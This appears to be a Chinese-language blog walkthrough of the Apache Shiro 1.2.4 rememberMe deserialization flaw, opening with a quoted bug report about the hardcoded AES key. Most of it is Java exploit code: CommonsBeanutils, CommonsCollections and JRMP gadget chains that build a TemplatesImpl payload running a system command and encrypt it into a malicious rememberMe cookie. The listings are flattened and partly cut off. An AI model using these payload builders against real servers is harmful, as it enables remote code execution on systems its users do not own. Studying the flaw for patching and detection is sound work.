By default, shiro uses the CookieRememberMeManager. This serializes, encrypts and encodes the users identity for later retrieval. Therefore, when it receives a request from an unauthenticated user, it looks for their remembered identity by doing the following:
Retrieve the value of the rememberMe cookie
Base 64 decode
Decrypt using AES
Deserialize using java serialization (ObjectInputStream).
However, the default encryption key is hardcoded, meaning anyone with access to the source code knows what the default encryption key is. So, an attacker can create a malicious object, serialize it, encode it, then send it as a cookie. Shiro will then decode and deserialize, meaning that your malicious object is now live on the server. With careful construction of the objects, they can be made to run some malicious code (see link above for more detail).
Note this is not theoretical; I have a working exploit using the ysoserial commons-collections4 exploit and http client. I can provide my test code if required.
I understand that this requires your shiro to be set up using the default remember me settings, but in my case my application doesn’t even make use of the remember me functionality (there’s no way for the user to ask to be remembered), so I didn’t even consider that I needed to secure this part. Yet, my application still has this vulnerability.
编译war包
1 2 3
git clone https://github.com/apache/shiro.git git checkout shiro-root-1.2.4 cd ./shiro/samples/web
publicvoidonSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info){ this.forgetIdentity(subject); if (this.isRememberMe(token)) { this.rememberIdentity(subject, token, info); } elseif (log.isDebugEnabled()) { log.debug("AuthenticationToken did not indicate RememberMe is requested. RememberMe functionality will not be executed for corresponding account."); }
ByteArrayOutputStream baos = new ByteArrayOutputStream(); BufferedOutputStream bos = new BufferedOutputStream(baos);
try { ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(o); oos.close(); return baos.toByteArray(); } catch (IOException var6) { String msg = "Unable to serialize object [" + o + "]. " + "In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " + "class must implement java.io.Serializable."; thrownew SerializationException(msg, var6); }
这里调用了writeObject,将principals对象写到OutputStream中。
加密代码:
1 2 3 4 5 6 7 8 9 10
protected byte[] encrypt(byte[] serialized) { byte[] value = serialized; CipherService cipherService = this.getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey()); value = byteSource.getBytes(); }
public T deserialize(byte[] serialized)throws SerializationException { if (serialized == null) { String msg = "argument cannot be null."; thrownew IllegalArgumentException(msg); } else { ByteArrayInputStream bais = new ByteArrayInputStream(serialized); BufferedInputStream bis = new BufferedInputStream(bais);
publicstatic Object deserialize(byte[] bytes){ ByteArrayInputStream bais = new ByteArrayInputStream(bytes); BufferedInputStream bis = new BufferedInputStream(bais);
public Object decrypt(String base64){ byte[] aes_value = this.base64_decode(base64); Object o = deserialize(aes_decrypt(aes_value)); return o; } }
Remember_CheckDemo.java
1 2 3 4 5 6 7
publicclassRemember_CheckDemo{ publicstaticvoidmain(String[] args){ Test rememberme_value = new Test(); String encrypt_data = new encrypt_demo().encrypt(rememberme_value); Object o = new decrypt_demo().decrypt(encrypt_data); } }
Test.java
1 2 3 4 5 6 7 8
import java.io.*;
publicclassTestimplementsSerializable{
privatevoidreadObject(java.io.ObjectInputStream s){ System.out.println("I have been used"); } }
当运行Remember_CheckDemo.java后,输出I have been used,说明反序列化成功:
publicstatic Class forName(String fqcn)throws UnknownClassException { Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn); if (clazz == null) { if (log.isTraceEnabled()) { log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader..."); }
clazz = CLASS_CL_ACCESSOR.loadClass(fqcn); }
if (clazz == null) { if (log.isTraceEnabled()) { log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader..."); }
clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn); }
if (clazz == null) { String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found."; thrownew UnknownClassException(msg); } else { return clazz; } }
final BeanComparator comparator = new BeanComparator("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add(new BigInteger("1")); queue.add(new BigInteger("1"));
Field property = comparator.getClass().getDeclaredField("property"); property.setAccessible(true); property.set(comparator,"outputProperties");
Field queue_field = queue.getClass().getDeclaredField("queue"); queue_field.setAccessible(true);
final Object[] queueArray = (Object[]) queue_field.get(queue); queueArray[0] = templates; queueArray[1] = templates; String encrypt_data = new encrypt_demo().encrypt(queue); System.out.println(encrypt_data);
}
publicstaticvoidsetFieldValue(final Object obj, final String fieldName, final Object value)throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
publicstatic Field getField(final Class<?> clazz, final String fieldName){ Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue"); queue_field.setAccessible(true); queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size"); size.setAccessible(true); size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); comparator_field.setAccessible(true); comparator_field.set(queue,comparator); String encrypt_data = new encrypt_demo().encrypt(queue); System.out.println(encrypt_data);
}
publicstaticvoidsetFieldValue(final Object obj, final String fieldName, final Object value)throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
publicstatic Field getField(final Class<?> clazz, final String fieldName){ Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = newbyte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); setFieldValue(templates, "_name", "name"); setFieldValue(templates, "_class", null); final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } f.setAccessible(true); HashMap innimpl = null; innimpl = (HashMap) f.get(map);
Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } keyField.setAccessible(true); keyField.set(node, entry); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName"); iMethodName.setAccessible(true); iMethodName.set(transformer,"newTransformer"); String encrypt_data = new encrypt_demo().encrypt(map); System.out.println(encrypt_data);
}
publicstaticvoidsetFieldValue(final Object obj, final String fieldName, final Object value)throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
publicstatic Field getField(final Class<?> clazz, final String fieldName){ Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1099); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(RememberMeDemo.class.getClassLoader(), new Class[] { Registry.class }, obj); String encrypt_data = new encrypt_demo().encrypt(proxy); System.out.println(encrypt_data); }
publicstaticvoidsetFieldValue(final Object obj, final String fieldName, final Object value)throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
publicstatic Field getField(final Class<?> clazz, final String fieldName){ Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }